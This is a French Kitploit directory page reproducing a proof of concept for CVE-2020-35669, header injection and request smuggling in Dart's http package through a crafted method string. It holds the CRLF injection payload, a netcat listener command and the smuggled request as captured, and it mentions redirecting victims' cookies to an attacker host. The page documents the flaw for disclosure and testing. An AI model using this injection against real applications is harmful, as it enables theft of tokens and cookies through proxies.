Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2020-35669 — Preuve de concept d'exploit pour CVE-2020-35669 démontrant le détournement de requête HTTP et l'injection d'en-têtes dans le paquet http de Dart via des paramètres de méthode falsifiés, permettant le contournement du proxy inverse et la manipulation de l'en-tête Host. | Kitploit
Outils/GitHubGitHub/n0npax/cve-2020-35669
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'Intrusion
GitHubn0npax/cve-2020-35669

CVE-2020-35669

Preuve de concept d'exploit pour CVE-2020-35669 démontrant le détournement de requête HTTP et l'injection d'en-têtes dans le paquet http de Dart via des paramètres de méthode falsifiés, permettant le contournement du proxy inverse et la manipulation de l'en-tête Host.

Voir le dépôt
1il y a 5 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2020-35669

serveur factice

veuillez exécuter le serveur factice avec le 1er terminal

root@kitploit:~
sudo nc -l 127.0.0.1 80 

appliquer le diff fourni

root@kitploit:~
diff --git a/main.dart b/main.dart
index 8c78291..a46f4d0 100644
--- a/main.dart
+++ b/main.dart
@@ -4,7 +4,7 @@ import 'package:http/src/request.dart';
 void main() async {
   var r = Request(
       "GET http://example.com/ HTTP/1.1\r\nHost: example.com\r\nLLAMA:",
-      Uri(scheme: "http", path: "/llama", host: "google.com"));
+      Uri(scheme: "http", path: "/llama", host: "localhost"));
   var rs = await r.send();
   var resp = await Response.fromStream(rs);
   print('${resp.body}');

exécuter l'application factice

veuillez exécuter main.dart avec le 2e terminal

root@kitploit:~
dart run main.dart

résultat

nc devrait recevoir la requête suivante

root@kitploit:~
GET HTTP://EXAMPLE.COM/ HTTP/1.1
HOST: EXAMPLE.COM
LLAMA: /llama HTTP/1.1
user-agent: Dart/2.10 (dart:io)
accept-encoding: gzip
content-length: 0
host: localhost

morceau de code important

root@kitploit:~
  var r = Request(
      "GET http://example.com/ HTTP/1.1\r\nHost: example.com\r\nLLAMA:",
      Uri(scheme: "http", path: "/llama", host: "google.com"));
  var rs = await r.send();

chemin critique

En supposant que le diff montré ci-dessus n'a pas été appliqué et que l'utilisateur est derrière un rev-proxy Le site web servi par example.com a été atteint.

root@kitploit:~
dart run main.dart
<!doctype html>
<html>
<head>
    <title>Example Domain</title>

    <meta charset="utf-8" />
    ...
    ... blah blah blah
    ...

Pourquoi c'est un risque de sécurité

Si le développeur utilise Request pour abstraire la génération d'appels HTTP et qu'il accepte un paramètre de méthode de l'utilisateur, l'utilisateur peut faire de la magie comme une injection d'en-tête ou une falsification de chemin. Cela peut être exploité de plusieurs manières et semble assez important surtout s'il y a un proxy inverse en place. Un proxy peut simplement transmettre la requête de quelqu'un à n'importe quel hôte en fonction de l'en-tête host. Supposons que je remplace example.com par my-evil-uservice.org et que la victime travaille dans une entreprise derrière le proxy. Cela signifie que je peux rediriger les appels avec les en-têtes/cookies (jetons) et tout le tralala. Sur cette base, le vol d'appels avec tous les en-têtes/cookies peut se produire.

Télécharger l’outil